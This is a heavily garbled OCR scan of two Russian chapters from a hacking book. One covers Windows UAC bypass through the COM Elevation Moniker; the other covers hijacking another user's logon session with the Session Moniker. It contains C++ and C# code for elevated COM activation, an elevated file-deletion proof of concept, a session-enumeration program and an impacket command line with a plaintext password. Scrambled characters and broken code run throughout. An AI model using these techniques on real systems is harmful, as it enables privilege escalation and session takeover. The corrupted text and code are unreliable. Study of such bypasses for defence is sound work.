{4963f89b·2б1e--4ff,-•cl~7117dSA17071} !-- {-4980202З.1Ш--11 D1-AD19-00C04fD8FDFF ) г Г 1 (49ЕВD8ВЕ· 1А82-4А86-А651 •70ACS6SEOFEB} (49117ldd-Ы1,-40d3-9'6c-S2d674cc729d} (4AOF9AA8-A71 Е-4С СЗ-891 В· 7бСАСб7Е67СО} (4A688BAD-9872-,S2S-A812-71AS2367DC17} Рис. 15.3. RunAs нет. Значит, The Launching User Следующим шагом нужно убедиться в наличии ключа LocalizedString (рис. в котором будет путь к целевой DLL 15.4), с функциями СОМ. Если такой записи нет, активация возвращает ошибку со_Е _МISSING_DISPLAYNAМE. В подпапочке Elevation (рис. приложения. Здесь -101 - 15.5) лежит ключ IconReference, указывающий на значок идентификатор ресурса, а EnaЫed - пользовать этот СОМ-класс с разрешить ли ис­ Elevation Moniker. Если какая-то запись отсутствует, то активация возвращает ошибку co_E_ELEVAТION_ DISABLED. Обратите внимание, что эти записи должны существовать в ветке НКЕУ - LOCAL - МАСНINЕ, а не в ветке НКЕУ- CURRENT- USER или НКЕУ- USERS. Это не позволяет обыч­ ным с пользователям Elevation Moniker. регистрировать СОМ-классы, которые можно использовать
Часть 284 11. Системное программирование для хакеров - 111 Рwктор ,нктр1 Праац Ф11КЛ в" ИюpillHH~ о х Cnpi!IBICll . Koмnыoт~\HKEV_lOCAl_МACHINE\SOFТWARf\Cl11sяs\CLSID\{ЗE5FC7F9-9A5 1 -,4367-9063-A120244fВEC7) {3D197W-д8С6-41З.-А182·АС5012248А85} > ) {3D197SAF-48Cб-4f~A182-BE0E08FA86A9} ) {3D367908-928f- К 13-8893-SE1718820fб0} {3D4C34BE• 720&-4F 38- 874F-37AD23 1350EF} ) , Тип Зн1ч~мt REG_SZ СМSТРША ~toolizedString REG_EXPANO_SZ и __ ,. {3D547E96- E934-4756-8DAE-ШDFBШAE4} > .., ..,. ~(По уwмч11нию) RFC. 'J -· - O%Syst:~Root·%\syst:I01ЗZ\.c.nutplШ1. dlL -100 (3D7ЗE42.E-FAEA-4706-8HZ-301A5DШC025} 1 lnproc:Sбvtr32 ) (3031ЗDFЕ-6С91-4А4Е-8F41-0434бд84109С} ) {308SC881-CS20-436f-8C9A-8292041A98D0} ) (3di11dбc5d-2167 -4c•~9914-f9%41 с 12cfa} ) {308ЕЕ9А 1-С471-4895- BBCA-F393 10064458} > {3D8FШ5-6F1 S-4453- BC19-D7ADSCC04756} ) {30СО94Эб-708НВАО-АООС-СD47F996С5ВА} ) ) {30C7A02G-DACD-11 Cf-A988-00AA004AE837} {3dd53d40- 7Ь8Ь- 1100-ЬО13.ОО..0059сd)2} ) {30D82.D10-E6F1- 11D2-8139-00105д 1mд1} , Г! (3ddбЬed>-8193-4fft-ae2S-dЭSd9и4063} ) {300В2114-9285-ЗОА6- 90б0-В117б40СА927} > {3DDEB7A4-8ABF-4D82- В9ЕЕ • Е 1F4SS2E958E} > > {3DECD5DD-д278-48DC-88AA-2б82CFд26SFF} > 1 (3dfdf296-dbec--4fЬ4-81d1-Бa3438Ьd4dt) {3E000072-A84S-4CD9-B083-80C07CЗ8881F} ) , (3alfЗO.S-Ьdk-4d4f-Ь41 ~- 7ЫО11~е1с} {3Е298С47-ООА7-4418--ААС'/-7АбD 1F800A 14} > ) {3Е458037-ОСА6-41•11-А594-2ААбСО207098) > {3E4D4F1C-2AEE-11D1-9030-00C04fCЗOOF6} > > > i (3df112fJO.S8db-46c1-8~-ЗS4S9t!11SЬ9c} { 3ESOOCOC-5D15-4610-8095- 7CEВD4C43f 24) ~ {ЗES4D38F -8EFA-400f-887S-886A30'JE1C8F) {ЗШО9Ю-1 F89-3040-8174- 7506С9АШОА) { 3ES8004E-4CES-46В1 -ВАS6- 78SA67F9FOOC} > , {3E5FC7F9-9AS1-4367-9063-A120244FBEG} > < 1 . Рис. 15.4. Ключ LocalizedString lf Ред11цор ре.ктр11 ФalUI Пр.,ека ВИА о Июранное Сn,и •"• Коunыотr:р\НКЕУ_LOCAL_МACНINE\SOПWARE\C~sиs\CLSI0\{3ВFC7F9-9AS1 -4367-9063-A 1202-44f8[C7)\Elr;villtion > {304C348E-7208-4F38-B74f-37ADZ313S0H} > {З0S47E96-E934~47S6-3DAE- 72EOFBSЗW4) .~ (Поумо.пчанию) REG_SZ (3~::=:706-8EE2-301A50f8C.Ol5) ~!j[mcription R.EG_SZ ~ Enable:t ~ lconRt;Jr;rmcr: REG_OWORD REG_EXPAND_SZ ., ! ) (I0813DfE-6C91--4д4E-8F4I-0O46A84109C} > > {3dilld6c5d-2167-4иr:-9914-f99ir!41c12da} (ЗD8SCВ81-CS20-4Зfl-3C9A-8292041A98DO} ,.. Тип Иwя > j {ЗDBEE9A1 -C471-489S-BBCA-F39310064458} > J {ЗDBFEШ-6F15-4453-BC19-D7AD5CC04756} > j {30С09436-7083-4ВАО-АООС -СО47F996С5ВА} > u {3DC7A02G-DACD-11CF-A9BB-OOAA004AEA37} > J {3dd53d4D-7Ь8Ь-1 100-Ь013 -00..0059cd)2} > ,j (Зdd6Ью)-8193-4ffr:-•US-~3) > > >j {3DDB2114-9285-30A6-9060-B117640CA927} > {3DECDSDD-д278-48DC-88AA-2б82CFA26SFF} > {3df112I0-58dЬ--46c•-8~3S4~11SЬ9c) ) {3dfdf296-dЬ«-4fЬ4- 81d1 - 6"34.33Ьd4de} {3D082D10-Eбf1-1102-8139-00105A1FnA1) {3DDEB7A4-8AВF-4082-89EE-E1F4552E958E} > {3Е000072-А845-4СО9-В083-ВОСО7СЗ8881F} > > {3E298C47-00A7-4418--AAO-7AI01FfO)A14} {я0f30i!IS-бc0c.-4cbl-Ь41~7Ь1011ed7r:1c} > .J {П4S8037-0CA6-41••-A~-2AA6C02.D7098} > {3E4D4F1C-2AEE-11D1-903D-OOCD4fC300f6} > > {ЗЕ500СОС-5D15-4610-8095- 7CEВD4C43F24} ЩS4D3BF-8EFA-400f-8875-886A30'JE1CBF} > > {3E5509FD-1 F89- 304D-8174-7506C9AFESDA} j 1 l > < {ЗВ8004Е-4СЕ5-4681-ВАS6-785АБ7F9FООС} (3f5FC7F9-9A51-4367-906З-A 120244FBEC7} .,, 1 Elr;v11tion lnpr~r;r32 {3Е6147С9-902В-488д-В 188-581 FFD874FВ2} Рис. 15.5. Папочка Elevation (,на~не не nрмс.1~0) Connкtion м.n.,ger 0.00000001 {1} O~ernRoot'Xo\systemЗ2\cmst~Ш11.d К, - 1 0 1 х
Глава 15. Исследуем обход ИАС на примере 285 Elevation Moniker Для автоматизации поиска классов СОМ, подходящих для использования с tioп Moniker, Eleva- я создал программу WinCOМFu:иer (bttps://gitbub.com/МzНmO/Win COМFuzzer/ЫoЬ/main/FindElevationMonikers/source.cpp, рис. Рис. 15.6. Пример использования 15 .6). WinCOMFuzzer После чего получим список CLSID, которые можно (bttps://gitbub.com/tyranid/oleviewdotnet) и проверить в отдать OleViewDotNet последнее значение: Auto Approval . Если оно установлено в True, то при повышении уровня целостности через Elevation Moniker не появится окошко UAC (рис. 15.7). Если эти требования соблюдены, то можно себе поаплодировать класс СОМ, подходящий под - Elevation Moniker. !t OleView . NЕТ v1 .1 О - Administrator - - 64Ьit х о File Registry Object Security Processes Storage Help _ R i CLSIDs anlua.dtr Зe5fc7f9-9a51 ... • х ст Ф' _ ,т~~val: !True !EnaЫed: lcon Reference. @С .\ ~ ""о .dl, Virtual Se1Ver OЬjects: Na11e CLSID E naЫed 1/l о CLSIO Suppon8d 111М8С8S Арр1) S - - Elevalion ф ;::\. Ф' Auto Approval "' > < Рис. 15.7. Проверка значения EnaЫed и Auto Approval мы нашли
Часть 286 Использование Elevation Moniker - 11. Системное программирование для хакеров Elevation Moniker это стандартный моникер СОМ. Он отправляет запрос акти­ вации на сервер СОМ с указанным уровнем повышения. CLSID, который нужно активировать, надо прописать в строке моникера. Elevation Moniker поддерживает следующие уровни повышения: □ Adrninistrator - это поле может использоваться только встроенной учетной записью локального администратора □ Highest - (RID 500). Гарантированно повысится до High IL; это поле используется всеми остальными учетками, в том числе чле­ нами групп локальных администраторов. Здесь никаких гарантий нет. Windows попытается выдать максимально возможный уровень целостности для данного аккаунта. Обычный аккаунт получит Medium IL, учетка из группы ЛА - High IL. Синтаксис моникера следующий: Elevation:Adrninistrator!new:{guid) Elevation:Highest!new:{guid) Здесь guid - CLSID класса СОМ, установленный согласно требованиям, описан­ ным выше. Отмечу, что здесь используется специальное слово new, которое позволяет при при­ IClassFactory IClassFactory: :Createinstance (). вязке к моникеру получить экземпляр его класса. Внутри вызывается с последующим вызовом Помимо этого, есть возможность раздобыть указатель на фабрику, чтобы получить инстанс вручную. В таком случае используется ключевое слово clsid. Вы получите объект класса, который реализует IClassFactory. Затем вызывающая сторона дергает Createinstance (), чтобы получить экземпляр объекта. Выглядит это так: Elevation:Administrator!clsid:{guid) В следующем примере кода показано, как использовать Elevation Moniker. Не за­ будьте до этого в потоке вызвать Coinitialize () ! НRESULT CoCreateinstanceAsAdmin(НWND hwnd, REFCLSID rclsid, REFIID riid, _out void ** ppv) BIND ОРТSЗ Ьо; WCНAR wszCLSID[SO]; WCНAR wszMonikerName[ЗOO]; StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[O]) ); hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[O]), L"Elevation:Administrator!new:%s", wszCLSID); if (FAILED (hr)) return hr; memset(&bo, О, sizeof(bo)); bo.cbStruct = sizeof(bo); bo.hwnd = hwnd; НRESULT
Глава 15. Исследуем обход ИАС на примере Elevatioп Moпiker 287 bo.dwClassContext = CLSCTX LOCAL SERVER; return CoGetObject(wszMonikerName, &Ьо, riid, ppv); В качестве hwnd можно передавать NULL, СОМ в таком случае автоматически вызовет GetActiveWindow(I, чтобы найти хендл окна, связанного с текущим потоком. Примеры СОМ-объектов ICMLuaUtil Это один из самых популярных эксплойтов для обхода Moniker, UAC с помощью Elevation РоС вы найдете на GitHub: https://github.com/Oxlane/ВypassUAC. В коде CLSID, который мы исследовали ранее, а также Elevation инициализированный (рис. 15.8). можно явно наблюдать Moniker, еще не Рис. 15.8. Используемые значения В свою очередь, этот класс СОМ в интерфейсе ICMLuaUtil реализует метод ShellExec (1 (https ://gith ub.com/Oxlane/Вypass U А C/ЫoЬ/master/Вypass U А C/main.cpp#L54 ). Из его названия понятно, что он связан с исполнением команд. Запуск эксплойта с по­ следующим ShellExec () (рис. инстанцированием позволяют класса исполнить СОМ команды через в Elevation Moniker привилегированном и вызов контексте 15.9). Кстати, этот метод использовал шифровальщик LockBit (https://amgedwageh. medium.com/lockblt-ransomware-analysis-notes-93a542fc8511) для обхода UАС.
Часть 288 Рис . 15.9. 11. Системное программирование дпя хакеров Вызов метода
Глава 15. Исследуем обход UAC на примере Elevation Мoniker 289 IFileOperation Предлагаю обратиться page_3375231.html). к угечкам WikiLeaks (https://wikileaks.org/ciav7pl/cms/ Из них нам стало известно о СОМ-объекте, который позволяет выполнять файловые операции, не вызывая окошка UAC. В частности, РоС предос­ тавляет возможность удаления произвольных файлов. НRESULT CoCreatelnstanceAsAdmin(НWND hwnd, REFCLSID rclsid, REFIID riid, void **ppv) ВIND ОРТSЗ Ьо; WCНAR wszCLSID[S0]; WCНAR wszНon[З00]; StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0])); НRESULT hr = StringCchPrintfW(wszНon, sizeof(wszНon)/sizeof(wszMon[0]), L"Elevation:Administrator!new:%s", wszCLSID); if (FAILED (hr)) return hr; memset(IJJo, О, sizeof(Ьo)); Ьo.cЬStruct = sizeof(Ьo); Ьo.hwnd = hwnd; Ьo.dwClassContext = CLSCТX return CoGetObject(wszНon, LOCAL SERVER; &Ьо, riid, ppv); void ElevatedDelete() MessageВox(NULL, "DELETING", "TESTING", МВ_ОК); // This is only availahe оп Vista and higher hr = CoinitializeEx(NULL, COINIT_APARТМENТТНREADED I COINIT_DISAВLE_OLElDDE); IFileOperation *pfo; hr = CoCreateinstanceAsAdmin(NULL, CLSID_FileOperation, IID_PPV_ARGS(&pfo)); pfo->SetOperationFlags(FOF_NO_UI); IShellltem *item = NULL; hr = SHCreateitemFromParsingName(L"C:\\WINOOWS\\TEST.DLL", NULL, IID_PPV_ARGS(&item)); pfo->Deleteltem(item, NULL); pfo->PerformOperations(); item->Release(); pfo->Release(); CoUninitialize(); НRESULT Однако интерфейс (https://learn.microsoft.com/ru-ru/windows/win32/api/shobjidl_ core/nn-shobjidl_core-ifileoperation) предоставляет методы и для копирования (https://learn.microsoft.com/ru-ru/windows/win32/api/shobjidl_core/nfфайлов shobjidl_core-ifileoperation-copyitem), и для создания (https://learn.microsoft.com/ ru-ru/windows/win32/api/shobjidl_core/nf-shobjidl_core-ifileoperation-newitem).
290 Часть 11. Системное программирование для хакеров Конечно, это не такой простой пример, ведь мы не можем напрямую исполнять команды, у нас есть лишь возможности, связанные с файловыми операциями. Впро­ чем, их можно совместить с SymLinks Abuse (https://nixhacker.com/understandingand-exploiting-sym bolic-link-in-windows/), чтобы добиться привилегированного шелла. Заключение Иногда сами разработчики закладывают в свои программы функции, похожие на полноценный бэкдор. Нужно искать лазейки и обходы, и вы их, возможно, найдете. Если хотите попрактиковаться в обходе UAC с помощью Elevation Moniker, ратите внимание на интерфейс IColoDataProxy, на него еще нет паков! то об­
16 ГЛАВА Как работает кража сессии через механизм СОМ В каждому пользователю при входе на устройство приписывается своя Windows сессия. Как угнать сессию пользователя, если жертва решила зайти на уже взло­ манное устройство? В этой главе познакомимся еще с одним способом повышения привилегий через кражу сессий с помощью СОМ-классов. - Давным-давно, когда небо бьmо голубее, деревья зеленее, а чай слаще, я написал главу 7 «Поставщик небезопасности. Как Windows раскрывает пароль пользова­ теля». В ней мы подробно рассмотрели этап входа пользователя в систему, начиная от приземления пятой точки за компьютер в офисе и заканчивая получением досту­ па к рабочему столу. Впрочем, в той главе я перечислил далеко не все способы воздействия на пользова­ теля. Существует еще одна атака - кража сессии. И осуществим мы ее с помощью СОМ! Logon Sessions Итак, начнем с небольшого ликбеза. Logon Session (она же просто сессия) - это как куки браузера. Вполне понятная вещица, по которой система может однозначно определить, какой пользователь к ней обращается. сессии Отличаются IDentifier). по уникальному номеру, Собственно, это все, что нужно имя ему Windows пользователя. typedef ULONG LONG LUID, struct _LUID LowPart; HighPart; *PLUID; □ LowPart □ HighPart - содержит необходимое числовое значение; обычно нолик. LUID (Locally Unique для идентификации сессии
292 Часть 11. Системное программирование для хакеров Изучиrь существующие Lоgоп-сессии можно через API LsaEnumerateLogonSessions ( J (https://leam.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapilsaenumeratelogonsessions ). Я достаточно подробно описывал эту функцию и ее использование в г:,аве разнообразия перепишем на С# (рис. Рис. 5. Для 16.1 ). 16.1. Пример работы программы using System; using System.Runtime.InteropServices; using System.Security.Principal; class Program [Dlllrnport("Secur32.dll", SetLastError = false)] private static extern int LsaEnшnerateLogonSessions(out ulong LogonSessionCount, out IntPtr LogonSessionList); [D11Import("Secur32.dll", SetLastError = false)] private static extern int LsaGetLogonSessionData(IntPtr LogonSession, out IntPtr ppLogonSessionData); [Dlllmport ("Secur 32. dll") ] private static extern uint LsaFreeReturnBuffer(IntPtr buffer);
Глава 16. Как работает кража сессии через механизм СОМ [StructLayout(LayoutKind.Sequential)) private struct LSA_UNICODE_STRING ( puЫic puЫic puЫic ushort Length; ushort MaximumLength; IntPtr Buffer; [StructLayout(LayoutKind.Sequential)) private struct SECURITY_LOGCN_SESSION DATA puЬlic puЬlic puЬlic puЬlic puЬlic puЬlic puЬlic puЬlic puЬlic uint Size; LUID Logonld; LSA_UNICODE_STRING UserName; LSA_UNICODE_STRING LogonDomain; LSA_UNICODE_STRING AuthenticationPackage; uint LogonType; uint Session; IntPtr Sid; long LogonTime; [StructLayout(LayoutKind.Sequential)) private struct LUID puЬlic puЫic uint LowPart; int HighPart; private static string GetString(LSA_UNICODE_STRING unicodeString) return Marshal.PtrToStringUni(unicodeString.Buffer); static void Main () var result = LsaEnumerateLogonSessions(out var count, out var luidPtr); if (result != О) Console.WriteLine("LsaEnumerateLogonSessions failed"); return; var iter = luidPtr; for (ulong i = О; i < count; i++) result = LsaGetLogonSessionData(iter, out var sessionDataPtr); 293
Часть 294 if (result == //. Системное программирование для хакеров О) var sessionData = Marshal.PtrToStructure<SECURITY LOGON_SESSION_DATA>( sessionDataPtr ) ; va r userName = GetSt ri ng(sessi onData. Use rName) ; var domainName = GetSt ring (sessionData .LogonDomain ) ; Console. Wri teLine ($"UserName : {userName)") ; Console.WriteLine ($"LogonDomai n: {domainName) ") ; Console. Wr iteLine( "---------------------------" ) ; LsaFreeReturnBuffer (ses sionDataPtr ) ; iter = IntPtr .Add(iter , Marshal .Si zeOf(typeof (LU ID ) )) ; LsaFreeReturnBuffer (l uidPtr); Видим стандартный импорт необходимых функций через Pinvoke с последующим вызовом в определенном порядке. Получить список сессий с устройства можно и удаленно (рис. 16.2), здесь нам по­ могут функции NetSessi onEnum () и Ne t r Sessi onEnum (1. Пример использования можете посмотреть, например, на rитхабе trustedsec : https://github.com/trustedsec/CS- Situational-Awareness-BOF/ЫoЬ/master/src/SA/get-netsession/entry.c. Также можно воспользоваться инструментом netview.py: h ttps ://gith ub.com/fortra/im packet/ЫoЬ/master/exam ples/netview. ру. roo t 6 k.i l i ~/-/ad/too\s/i■p.acket/exa■p\es 11 ,;ytt,(1· netviн.py CRINGE/Administrator:lolkekcheЫ23! Impacket v0.10.1.dev1~202з0524.180921.8b3f9eff - Copyright 2022 Fortra [*] Importing targets [•] Getting machine ' s list from CRINGE [*] Looking up users in domain CRINGE [•] Got 2 machines WIN10DEV: user WIN10DEV\Admin logged in LOCALLY WIN10DEV: user CRINGE\WIN10DEV$ logged in LOCALLY 1 Рис. 16.2. Получение списка сессий удаленно Наконец, помочь смогут встроенные инструменты командной строки (рис. qwinsta # то quser .exe quser.exe /server:dc0l .of fice . corp Е сли удале н но , 16.3).
Глава ~' 295 16. Как работает кража сессии через механизм СОМ Алминистратор: Windows Ро· о Х ·х Windows PowerShell (С) Корпорация Майкрософт (Microsoft Corporation) . Попробуйте новую кроссnnатформенную обоnочку Все права защищены . PowerShell (https://aka . ms/pscoreб) PS C: \Users\Michael> qwinsta СЕАНС IO ПОЛЬЗОВАТЕЛЬ services >console Michael PS С: \Users\Michael> 1 Рис. 16.3. СТАТУС 0 Диск 1 Активно ТИП Использование УСТР- ВО qwinsta Конечно же, есть и другие варианты поиска сессий целевого пользователя: сюда входят и Invoke-UserHunter от PowerView, и бесконечные аналоги на С#, все расписы­ вать ни одной книги не хватит. Поэтому закончим с реконом и перейдем к собст­ венно угону. ПРИМЕЧАНИЕ Если база у вас хромает, советую изучить труд Джареда Эткинсона на эту тему, в осо­ бенности части е8е81739) и 12 (https://posts.specterops.io/behavlor-vs-execution-modality-3318 13 (https://posts.specterops.io/part-13-415c4df7b635). Session Moniker Аналогично Elevation Moniker (см. главу 15) в Windows существует моникер и для - строковая репрезентация СОМ-объекта. Так вот, сес­ сессий. Напомню, моникер сионный моникер может использоваться для инстанцирования СОМ-класса в кон­ кретной сессии. Например, если у нас есть СОМ-класс, один из методов которого позволяет выпол­ нять команды, то, инстанцировав этот СОМ-класс внутри сессии другого пользова­ теля через Session Moniker, мы захватим сессию этого пользователя. Впрочем, не все так просто - в Microsoft наложили определенные ограничения, но с ними познакомимся чуть позже. Сначала предлагаю разобраться с принципом работы Session Moniker. И сделаем это с помощью слайдов (https://www.linkedin.com/in/james-forshaw-ab833725). Итак, есть несколько объектов (рис. Есть сессия пользователя Alice Джеймса Форшоу 16.4). (мы сидим в ней), есть сессия пользователя ВоЬ (ее будем захватывать). Также есть RPCSS - специальная служба, отвечающая за активацию СОМ-объектов. Запрашиваем активацию СОМ-объекта в сессии Боба (рис. 16.5).
Часть 296 11. Системное программирование для хакеров RPCSS Сессия 1"Alice" Процесс "Alice" Рис. 16.4. Начальное состояние системы RPCSS Рис. 16.5. Запрос активации
Глава 16. Как работает кража сессии через механизм СОМ 297 RPCSS потому, что активацией СОМ-объектов RPCSS видит, что используется Session Moniker, об­ создает СОМ-объект внутри нее (рис. 16.6). Этот запрос попадает в службу управляет SCM. Затем служба наруживает сессию Боба и RPCSS Процесс "Alice" Рис. 16.6. Активация После успешной активации СОМ-объекта клиент (мы в сессии 1) получит указа­ тель на интерфейс этого СОМ-объекта и сможет с ним взаимодействовать, напри­ мер вызвать метод для исполнения команды (рис . 16.7). Для использования сессионного моникера достаточно подготовить строку следую­ щего вида: "Session: [digits ) 1clsid: [cla ss id] " Здесь digits - это номер сессии, в которой надо запускать СОМ-класс, идентифи­ цирующийся по CLSID из поля cl ass id. С помощью этой функции можно создавать СОМ-объекты в чужой сессии. ORD session , REFCLSID rcl sid, REFIID riid, void ** ppv) CoCreatelnstancelnSession (DW ОРТSЗ Ьо = { }; WCНAR wszCLS ID [50]; WCНAR ws zMonikerNarne [300 ); Stri ngFromGUID2 (r cl sid, wszCLSID, countof( wszCLSID) ) ; StringCchPrintf (wszMonikerNarne , countof(wszMonikerNarne ), L" session: %d!new: %s" , session , wszCLSID); bo .cbStruct = sizeof(bo); НRESULT BIND
298 Часть 11. Системное программирование для хакеров bo.dwClassContext; CLSCTX_LOCAL_SERVER; return CoGetObject (wszMonikerName, &Ьо, riid, ppv); RPCSS Связь с СОМ-объектом Рис. 16.7. Возврат указателя на интерфейс Кажется, если бы кто угодно мог инстанцировать СОМ-классы через Moniker в чужих сессиях, это была бы брешь в обороне зонтальное повышение привилегий (вертикальное - Windows. Session Получается гори­ если есть сессия администра­ тора). Не все так плохо. Далеко не всегда получится инстанцировать СОМ-класс в сессии целевого пользователя через Session Moniker. Нужно, чтобы целевой СОМ-класс был зарегистрирован на запуск от лица интерактивного пользователя. Это значение указывается в отдельном ключе us/windows/win32/com/runas). реестра пользователь, система или сервис, то всех объектов удобно с RunAs (https:/Лearn.microsoft.com/en­ Если значение пустое либо указан запустивший Session Moniker помощью не сработает. Извлечь список инструмента Checker (https://github.com/ CICADA8-Research/RemoteKrbRelay/tree/main/Checkerv2.0). Он сгенерирует от­ чет в формате CSV (или XLSX по желанию), после чего останется лишь применить фильтр по необходимому полю (рис. 16.8). Затем ограничения накладываются в следующем приоритете. Никаких официаль­ ных названий им нет, либо мне они незнакомы. l. SeDebug - если у вас есть SeDebug, то можете смело захватывать чужие сессии, например через IНхЕхес (https://github.com/CICADA8-Research/ПlxExec/tree/ main).
Глава 1б. Как работает кража сессии через механизм СОМ IU•LHNV\<i~.,..,итe1S l S--H '>80 S-1> S 11 Ц[HTPПAIIE108ПP>tS--I \S J 1 Ц(HIPI\AКff08ПP;tS--I IS)) ЩHIPrtAIIПOIIПP,1,S--I IS)) Ц[НТ1'1\АКПО8ПРИ,S-1 IS) 1 д.:с"!оМоwеd Sl10 &,:,i 1w:r"1>Allowed NТ АUНЮR!ТУ\ИНПI S 1 \ 1 NT AV11IORl11'\01CilS--1 S 18 A<:ttot>Allowed L«•IAtteи NI AUТНORHYV,.OCN S-1 ~ 19 Асс•~ Loo!Ac«1& loc.!Acc<'SI ЩHТPПAIIE101ПP~,S--I IS21 kce~d S--11S)l0211'Loc11Acc,u Ac:c.uAlowed Loc11A(ccfls. lt....01~ -.ctfl""""'-<I IU•L11НV,д,,,,o.....:tpe S--1-S-J} !,<W Locl!Acc•ii 1'1....а!еАс Aicc••~ NTAVTНOltlr,\l"'fftlSI !,-1 Loc11Acce1• Rerno11Acc l\c'81iA!lowed NТ AUIHOfllТY\CИCТIS·I S-11 Loc,IAicC<'t•RemoteAtA<:c1,~ NTAVnЮfllfY\C.IIV)l(S-I-S6 Loc11A«11,1, l«1!Ac«u NT АUТНОR!ТУ\(Щ-ТI S· I S \8 Loc11Actnt l69AOIAltBк ... ounJlwL•un<Localt.•uncti~mo1.-laun""<~ R.....01.tм,n °'Се"~ NTAUTНOIIП"t\C/!Ylt!S-1 {69ADtAfl88cq,ou,, fhe L•unc: Loc.1ll1""'h RemoteL11.>,,A.o;ce1IAl\owIO NTAUIHOR!fY\CИCТIS-1 \69AO'IAl'IВ.c ... oun fhe L....,..; Loc•l.......cti \69Al)4Atl a.cqroun The \69~18кqroull 1.81.>rк loc1lt1u,,c:h R""'°tel'11n At.ce1.Jillowf'd The Leun<' LO(•lt.....:h. A_el....,,, A.o;cno.Nl-d t69Ю-Al.18..: ... ounfhel....-c.L0<.М.1unc:h ~1!'1.-Асс~ (36l).I061(o,e0p,.,V.flwL.....:toc1ll1Uf>Cflloc.1tlAc:t,_,.\!Acf.,~ \J62}106fCoreOi,uV.lhel.....cLiкelt8"nch.LocelA<:tн11IAcce,~rd {"'°"'8811 Co<e~I¼ !... ln1erк,..,. tocalteund, LocatLl.<11w1r,.i.tи1-.Nloloed l)Ц8J!(o<eShfol\tlntia<Klнtloc.ll......ch L 0<"-1Ac.!1,,.t1Atte1sNlo,t,ed !6,t~(C0<il'Shelll-ln11nк1rwloull.1unc:h.toca!A(1,w,11Acc~ !640438l!Co,~1Н-1n1e,1c1..,.toиlt1unchLoc.iA<;1"'111Acc~ (640Qlll(o,eSl',e,/ll-ln11!<KIML«11taunct1Loc.a1Ac-1...,,1A c c ~ f92'l~~ottln1e<К\1Wtoc.iu..ncti llt'fnO!"--Aic:<~ {9:l-40C!>6'""'1NIК!Ulnte,.,;t,..toc811..aundl \91-40CS6'Mhentoc11nte1кtiwtocalL1Ufl(h Remot-t...,..Aic:cfl~ed lte.norelaun..,ce•IAllowed [9).WCS6t~ntiulnte,к1м1.o<A1t""""hLoc.U...1ioнttAtte1""81owf'd (9:IЧICS6o~1ln'lerк1.,.ш.e,- f')1•006< AIJd,t'МJC1 lllte<"КI.,. U'И'< {CJAJ4J",,ct~,,,Jhetau"'"L«1IL1uno;flR<lmotl!'l.... n A c c t ~ {C)AJ.4)5.'ct~ Тlмt..,"'t«1ll,vncl\ ltemotet..unAccc~ \C~ЭYrn.......,. TheL8Ul>e: t«мlauncll lte-inotfl...,,.Aicce,tAlowl'd L«•lk.:••• ltemoтeA<:Acc"oAllowed IU1lJ N\AA>o""'°''""s I S-J1!.<W Ace11tAlowed Loc11Accfl1 NT AUtНORln\ИHf[I S I S-1 NI ЩTНOftlN\O!CTI S-1 S 11 Loc11Acceu NТ ЩТЖ)RIТУ\SЕL~ \ 1 S 10 Ас-с1~ Lос,!Асии ЩНТРI\АКfТОIПР,4,S-1-IS 21 А«~ S.-I-IS-)1021 l'loc11A«eu \CЭ,t.J•OYcn- r,._t.....ct«1llauncll.L«IIN1'1Y111Aic<11>Allow.-l {C1(9756f()1t1(.cci,11ntlfKf...,.Lou,ll•unc:hL«IIAcf1v1fll\c'81sAllowed {C1[!17!>6f~tlf•ch1ln1er1ctMlou,IL1unth.Loca!A(1lv111Ae:c11sAIIQwed {C1E91S6f 0 111EWII IMetК1"-' Louk1unc:h. L«IIAcllvlll -.ctnaAl!owed . ~ "' • • . \1 IS-11 s-110 S-1 NTAUTHORIТY\ИSI NTAUT~IТY\CS-!-S-18 NТAUTHOfUТ'l\l.·S.-1 s-1g S l 1S1-I S!·IS-11011 I-S-18 IUttТIN\.'8,,,oм"мS-1 !,-)2 S,U ЦIНТРПАКП08 16.8. !Wll!>IБ6· 196}7Q8:µS21>16)TTq1 lS6ll9707• 1 1. NfAUТЖ>fllll'\CS 1924006"•16"'6-11(8-9 j92IOCS6116A6-12E l -919 NTAUT~IТY\SS!SIO !92IOC'S61 16A6-12El -919 NTAUHIOltJТ"t\(s-1 S-6 j921Q06116A6-0EI 919 \.l[Нfl>П.l,kH08 $.-1 15·1·1 1616-•lfl 919 196J70IJIS-;j914006I 1S021}Sl66 J-1014 S.-1-15 /H8A16f07109-IN89C NТAIJТt+ORIТ'l'\CS 1-5 18 !HIA16JD 1709-IМl-tc NТAUTНORITY\SS I -S 10 NТ ALIТIIOAITl'\ИS 1 !,~ tH8A tЫ"D-7109-4Af8 {J21Al6f'O 1'09 WI NТAUП-IOIUТY\SS-IS-10 NТAUfНORIMCS- I S-IB U1НТРПМ.ЕТО8 ,. S-1 . Н-1- 1 • • 1 1 " Поиск нужных объектов CVE-2024-38100 (FakePotato) - Патч от Ц[НТJ>ПАКПОI lke lf " Рис. 2. 299 если у вас нет прав локального админа, вы не сможете инстанцировать интерактивные (поле RunAs равно The Inte r acti ve user ) СОМ-объекты внутри процесса explorer.exe. Фактически здесь просто ис­ правил и Access Permissions. Если у вас нет этих прав на процесс , то получить доступ к работающим внутри него СОМ-объектам вы не сможете . Если - Щ OleView .NЕТ v1.11 - Administrator - - 64b,t Access х о File Registry Object Security Processes Storage Help Registrv Properties У СОМ Procnses / r GlassWire Access r OutlineService Access 1 Моdе: lCon,!!i~ Fi ter: 11 998е ~ 9924 .,о ' 1 1 ' 1 1 1 Г 1 1 1 --о ..,о --о -о .,о t IPID: 1 а ееееt084 - 26С4-26С8 - 016А - 878ЕА7OЕб5Е2 80888885 • 26С.4- 26С8- бд00 - А9F А7СА386OВ IPID : ееееВ48б - 26С4- FFFF - А839 - f 166751(2.484 IPID: ееее9887 - 26С4- 26С8- 6649 - б9FСВ832.АВС7 4112 4100 2.624 4000 - GWCt ] s ...v - NT LMS - NT ~ а :! ПО: tunknOt«1 IID: IPrlvDragorop ПD: tunknown IID: IUnknown АUТНОR IТУ \СИСТЕМА АUПЮRПУ\СИСТЕНА - OUtlineService - NT АUТНОRПУ \ СИСТЕМА vмware - WINPC \ M1chael - V11Ware - un1ty- helper - WINPC \ Michael Showing 7 of 7 entries .:: Рис . 16.9. 6о J ~ ~ IIO: IRundown IPID : 00008808- 2бСА-2бС8 